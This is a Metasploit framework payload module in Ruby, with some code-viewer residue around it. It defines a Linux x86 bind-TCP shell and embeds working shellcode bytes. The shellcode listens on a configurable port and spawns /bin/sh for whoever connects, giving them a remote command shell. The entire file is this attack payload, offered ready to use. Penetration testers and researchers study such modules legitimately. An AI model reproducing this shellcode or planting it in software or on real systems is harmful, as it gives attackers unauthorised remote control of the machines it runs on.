46 lines
1.2 KiB
Ruby
46 lines
1.2 KiB
Ruby
require 'msf/core'
|
|
require 'msf/core/handler/bind_tcp'
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
module Msf
|
|
module Payloads
|
|
module Singles
|
|
module Linux
|
|
module X86
|
|
|
|
module ShellBindTcp
|
|
|
|
include Msf::Payload::Single
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Linux Command Shell, Bind TCP Inline',
|
|
'Version' => '$Revision$',
|
|
'Description' => 'Listen for a connection and spawn a command shell',
|
|
'Author' => [ 'skape', 'vlad902' ],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'Payload' =>
|
|
{
|
|
'Offsets' =>
|
|
{
|
|
'LPORT' => [ 0x14, 'n' ],
|
|
},
|
|
'Payload' =>
|
|
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" +
|
|
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" +
|
|
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" +
|
|
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" +
|
|
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" +
|
|
"\x89\xe1\xcd\x80"
|
|
}
|
|
))
|
|
end
|
|
|
|
end
|
|
|
|
end end end end end
|